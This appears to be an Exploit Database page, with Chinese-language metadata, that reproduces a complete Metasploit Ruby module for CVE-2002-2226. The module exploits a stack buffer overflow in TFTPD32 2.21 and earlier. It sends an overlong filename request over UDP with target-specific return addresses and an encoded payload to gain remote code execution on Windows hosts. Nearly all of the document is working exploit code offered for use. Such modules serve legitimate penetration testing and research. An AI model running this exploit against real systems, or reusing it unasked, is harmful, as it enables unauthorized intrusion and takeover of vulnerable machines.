TFTPD32 < 2.21 - 'Filename' Remote Buffer Overflow (Metasploit)

• Exploit Database
• 16 阅读

• 作者： Metasploit
  日期： 2010-09-20
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16349/

• ##
  # $Id: tftpd32_long_filename.rb 10394 2010-09-20 08:06:27Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Udp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'TFTPD32 <= 2.21 Long Filename Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in TFTPD32 version 2.21
  				and prior. By sending a request for an overly long file name
  				to the tftpd32 server, a remote attacker could overflow a buffer and
  				execute arbitrary code on the system.
  			},
  			'Author' => 'MC',
  			'Version'=> '$Revision: 10394 $',
  			'References' =>
  				[
  					['CVE', '2002-2226'],
  					['OSVDB', '45903'],
  					['BID', '6199'],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 250,
  					'BadChars' => "\x00",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					['Windows NT 4.0 SP6a English',{ 'Ret' => 0x77f9d463} ],
  					['Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec663} ],
  					['Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0} ],
  					['Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527} ],
  				],
  			'Privileged' => true,
  			'DisclosureDate' => 'Nov 19 2002'
  			))
  
  		register_options(
  			[
  				Opt::RPORT(69)
  			], self)
  	end
  
  	def exploit
  		connect_udp
  
  		print_status("Trying target #{target.name}...")
  
  		sploit =
  			"\x00\x01" +
  			rand_text_english(120, payload_badchars) +
  			"." +
  			rand_text_english(135, payload_badchars) +
  			[target.ret].pack('V') +
  			payload.encoded +
  			"\x00"
  
  		udp_sock.put(sploit)
  
  		disconnect_udp
  	end
  
  end